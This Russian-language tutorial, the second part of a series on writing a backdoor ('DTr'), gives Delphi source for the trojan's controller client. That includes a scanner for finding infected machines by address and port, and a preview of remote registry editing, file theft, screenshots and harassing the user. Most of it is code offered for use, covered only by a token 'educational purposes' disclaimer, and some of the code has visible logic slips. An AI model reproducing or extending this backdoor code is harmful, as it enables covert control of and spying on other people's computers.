Продолжаем цикл статей по написанию BackDoor.
Первую часть можно найти здесь
и, чуть позже, на http://ww.danil.dp.ua.
Начнем с отзывов. Во-первых, спасибо за
положительные. Во-вторых, я допустил ошибку,
а никто и не увидел. Процесс обработки
очереди надо все-таки терминайтить. Но об
этом далее. В-третьих, комментариев в коде
вполне достаточно. Я так пишу. Охоту к
написанию комментариев у меня отбили
еще в универе. А если не можешь
разобраться, так нафига вообще трепыхаться
- ходи на порно-сайты и дыши с присвистом. В-четвертых,
объясню, почему сервер писался на асме. На
это есть 6 причин:
1) Быстродействие. Все равно быстрее будет
работать, чем на сях и delphi (не говоря уже о
тормознутом визуал бейсике. Такой язык надо
в школе изучать - это ж надо, грузить dll и
запускать с них функции);
2) Размеры. 11 kb "всунуть" в что-то все
таки легче чем, например, 100;
3) Если мы пишем на асме, то имеем дело с
ошибками своими и мелкософта, а не с глюками
программера из фирмы Borland. Взять хотя бы "RadioGroup"
в Delphi;
4) В ранних версиях "DTr" периодически
возникала ошибка 10060 асинхронной работы.
Только на некоторых компьютерах, но все-таки.
Написание сервера на сях не помогло. После
выхода версии на асме и сооружения в
клиенте процесса обработки очереди
приходящих сообщений, у меня еще такой
ошибки не возникало;
5) Фирмы, производящие ПО, любят в своих
продуктах при ошибке вызывать
исключительную ситуацию, на что виндоуз
реагирует показом "красивого" окошка с
сообщением об ошибке. Некоторые такие
реакции не подавляются try-except. Для сервера
это, мягко сказать, нежелательно. В асме же все
проще;
6) Для борьбы с буржуйскими программами с
помощью WINdasm, SoftIce и т.п., ассемблер надо
знать. А для того, чтобы его знать, на нем
иногда надо писать. Завести 2-ой комп и
бегать, смотреть на одном окно SoftIce, а на
другом доки - это сильно круто.
Теперь продолжим разговор о нашем клиенте.
Как я уже говорил, процесс обработки
очереди при разрыве соединения и выходе
из проги надо прерывать. Для этого
модифицируем нашу процедуру
"ClientSocket1Disconnect", вставив в нее вот такой
код:
if not RecvThread.Terminated then begin
while not RecvThread.Terminated do begin
try RecvThread.Terminate; except end;
sleep(100);
Application.ProcessMessages;
end;
end;
LstRbeg:=nil;
LstRend:=nil;
Также нас интересует событие, происходящее
перед выходом из клиента. Выделим нашу
форму ("Form1"), перейдем в "Object Inspector"
на закладку "Events" и 2 раза "click"-нем
по "onClose". Перейдем в раздел кода и
запишем:
// Выход из проги
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action:=caNone;
if constat then Form1.Button1Click(Sender);
Application.ProcessMessages;
Application.Terminate;
Halt(1);
end;
Теперь поговорим о визуализации и удобстве
работы с клиентом. Кнопки, которые отвечают
за посылание серверу команд, надо как-то
выделить. Для этого воспользуемся объектом
"ImageList" с закладки "Win32"
("ImageList1"). Помещаем его на форму и с
помощью правой кнопки мыши добавляем в него
изображения для кнопок. Теперь нужно
выделить "ToolBar1" и в его свойстве "Images",
из всплывающего списка, поставить
"ImageList1". После этого перейдем на
"ToolButton1", в свойстве "ImageIndex"
выберем нужный рисунок. Для отображения "всплывающей"
подсказки в свойстве "ShowHint" поставим
"true", а в свойстве "Hint", напишем "Кнопка
№ 1". Очень информативно.
Сканер для сервера. Допустим, мы знаем, что
серверная часть запущена у человека (это
звучит гордо), пользующегося услугами
провайдера "Slow". Мы также знаем
пространство адресов этого провайдера. Но
мы не знаем, какой адрес даст пров этому
челу. Или у нас есть локалка. Почему-то
иногда прога путает адреса на плюс-минус
два. Почему - до сих пор не знаю (данная
проблема была замечена не мной), но если кто
знает, то пусть отпишет в "Отзывы". Или
мы изменили порт, а какой забыли. Для всего
этого нам нужен сканер по адресам и портам.
То, о чем пойдет речь далее, можно
использовать не только для нашего сервера.
Итак, в Delphi, в проекте нашего сервера,
выбираем в верхнем меню "File"-->"New Form".
Пусть это будет "Form2". В свойстве "Caption"
пишем "Сканер". Размещаем на форме
компоненты:
"Edit1" - с какого порта начинать
сканирование;
"Edit2" - по какой порт;
"Edit3" - первые 3 цифры адреса в виде "xxx.xxx.xxx.xxx"
(без точки в конце);
"Edit4", "Edit5" - диапазон последней
цифры адреса;
"Edit6" - время ожидания соединения (в
секундах);
"Button1" - начать/прекратить сканирование;
"Memo1" - отчет сканирования;
"ProgressBar1", "ProgressBar2" ("Win32") - для
визуализации процесса
перебора по адресам и портам
соответственно;
"ClientSocket1" - и так понятно.
Теперь на "Form1" лепим кнопку, обзываем
ее "Scaner" и нажимаем на ней два раза. В
разделе кода пишем:
// Scaner
procedure TForm1.Button2Click(Sender: TObject);
begin
Form2.WindowState:=wsNormal;
Form2.Visible:=true;
Form2.SetFocus;
end;
В раздел "uses" добавляем "Unit2".
Переходим на "Form2". Два раза нажимаем на
"Button1", на события "onConnect" и "onError"
в "ClientSocket1" и на "onClose" в "Form2".
Вот текст модуля "Unit2.pas":
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, ScktComp;
type
TForm2 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Edit4: TEdit;
Edit5: TEdit;
Edit6: TEdit;
Button1: TButton;
Memo1: TMemo;
ProgressBar1: TProgressBar;
ProgressBar2: TProgressBar;
ClientSocket1: TClientSocket;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button1Click(Sender: TObject);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
Rez11 : Boolean = false;
Bool : Boolean = false;
implementation
{$R *.DFM}
//Close Scaner
procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
// если запущен, то прерываем процесс
if Rez11 then begin
Action:=caNone;
Form2.Button1Click(Sender);
end;
end;
// Включить/отключить сканер
procedure TForm2.Button1Click(Sender: TObject);
var
I, J, K : Integer;
DopStr : String;
begin
if Rez11 then begin
// прервать сканирование
if Application.MessageBox('Прервать сканирование?','Сканер',mb_YesNo+mb_IconQuestion)=idYes
then begin
Rez11:=false;
Bool:=false;
end;
end else begin
// запуск сканера
if StrToInt(Form2.Edit2.Text)<StrToInt(Form2.Edit1.Text) then begin
Application.MessageBox('Неверно указан диапазон для
портов','Сканер',mb_Ok+mb_IconStop);
exit;
end;
if StrToInt(Form2.Edit5.Text)<StrToInt(Form2.Edit4.Text) then begin
Application.MessageBox('Неверно указан диапазон IP-адресов','Сканер',mb_Ok+mb_IconStop);
exit;
end;
Form2.Caption:='Идет сканирование...';
Form2.Memo1.Lines.Clear;
try
DopStr:=trim(Form2.Edit3.Text);
Rez11:=true;
Form2.Button1.Caption:='Отмена';
Form2.Memo1.Lines.Add('------'+#13+#10+'======');
// начальные значения для порта и адреса
I:=StrToInt(Form2.Edit1.Text);
J:=StrToInt(Form2.Edit4.Text);
try
Form2.ProgressBar1.Max:=StrToInt(Form2.Edit2.Text)-StrToInt(Form2.Edit2.Text)+2;
Form2.ProgressBar1.Position:=1;
Form2.ProgressBar2.Max:=StrToInt(Form2.Edit5.Text)-StrToInt(Form2.Edit4.Text)+2;
Form2.ProgressBar2.Position:=1;
// цикл по адресам
while I<=StrToInt(Form2.Edit2.Text) do begin
J:=StrToInt(Form2.Edit4.Text);
// цикл по портам
while J<=StrToInt(Form2.Edit5.Text) do begin
Application.ProcessMessages;
if not Rez11 then break;
Form2.ClientSocket1.Active:=false;
Form2.ClientSocket1.Port:=I;
Form2.ClientSocket1.Address:=trim(DopStr)+'.'+trim(IntToStr(J));
try
// попытка соедениться
Form2.ClientSocket1.Active:=true;
Application.ProcessMessages;
// время ожидания
Bool:=true;
K:=round(StrToInt(Form2.Edit6.Text)*1000/50);
while Bool do begin
Sleep(50);
Application.ProcessMessages;
dec(K);
if K=0 then begin
try Form2.ClientSocket1.Active:=false; except end;
break;
end;
end;
except
end;
Application.ProcessMessages;
Form2.ProgressBar2.Position:=Form2.ProgressBar2.Position+1;
inc(J);
end;
inc(I);
Application.ProcessMessages;
if not Rez11 then break;
Form2.ProgressBar1.Position:=Form2.ProgressBar1.Position+1;
end;
Form2.ProgressBar2.Position:=Form2.ProgressBar1.Position+1;
Form2.ProgressBar1.Position:=Form2.ProgressBar1.Position+1;
except
Application.MessageBox('Ошибка выполнения операции','Сканер',MB_ok+mb_IconStop);
end;
Form2.Button1.Caption:='Сканер';
Form2.ProgressBar1.Position:=0;
Form2.ProgressBar2.Position:=0;
Form2.Caption:='Сканер по адресам и портам';
if Rez11 then begin
Application.MessageBox('Процедура сканирования по
адресам и портам закончена.','Сканер',mb_Ok+mb_IconAsterisk);
Form2.Memo1.Lines.Add('---------'+#13+#10+'===== ВСЕ АДРЕСА И
ПОРТЫ ОТСКАНИРОВАНЫ'+#13+#10+#13+#10);
Rez11:=false;
end else Form2.Memo1.Lines.Add('-------'+#13+#10+'===== ПРЕРВАНО НА
порт-'+IntToStr(I)+', адрес-'+trim(DopStr)+'.'+IntToStr(J-1)+#13+#10+#13+#10);
except
Application.MessageBox('Ошибка инициализации процесса.','Сканер',mb_Ok+mb_IconStop);
end;
Form2.Caption:='Сканер по адресам и портам';
end;
end;
// Есть ответ сервера
procedure TForm2.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
// если соеденились вывести сообщение
Form2.Memo1.Lines.Add('***'+#13+#10+'Порт: '+IntToStr(Form2.ClientSocket1.Port)+'
'+'Адрес: '+Form2.ClientSocket1.Address+' - ЕСТЬ ОТВЕТ'+#13+#10);
Application.ProcessMessages;
// прервать время ожидания
try Form2.ClientSocket1.Active:=false; except end;
Bool:=false;
end;
// Ошибка при соединении
procedure TForm2.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
// прервать время ожидания если ошибка
ErrorCode:=0;
Bool:=false;
end;
end.
Теперь проверим. Запускаем сервер и клиент.
Жмем кнопку "Сканер". В "Edit1" пишем
"10001", в "Edit2" - "10001", в
"Edit3" - "127.0.0", в "Edit4" - "1",
в "Edit5" - "254", в "Edit6" - "1".
Все значения без кавычек. Жмем нашу кнопку
начала сканирования. Все, проверка
закончена.
Если у тебя ничего не получилось или
появилось желание написать негативный
отзыв, то скачай прогу "DTr" v.1.3 c http://www.danil.dp.ua,
посмотри, как это все работает и выпрямляй
руки. Если желание написать пару непечатных
слов в отзыве не пропало, то продай модем,
купи распылитель и пиши на заборе. Или купи
фильтры для базара.
В следующих статьях мы рассмотрим:
* как запускать приложения на сервере;
* как редактировать реестр сервера;
* как издеваться над юзером;
* как сделать файловый менеджер на клиенте
для сервера;
* как закачивать файлы на сервер и с сервера;
* как получать дополнительную информацию с
сервера;
* как сделать снимок экрана сервера;
* как управлять запущенными процессами на
сервере;
и т.д.
P.S. Статья и программа предоставлена в целях
обучения, и вся ответственность за их
использование целиком ложится на твои
хилые плечи.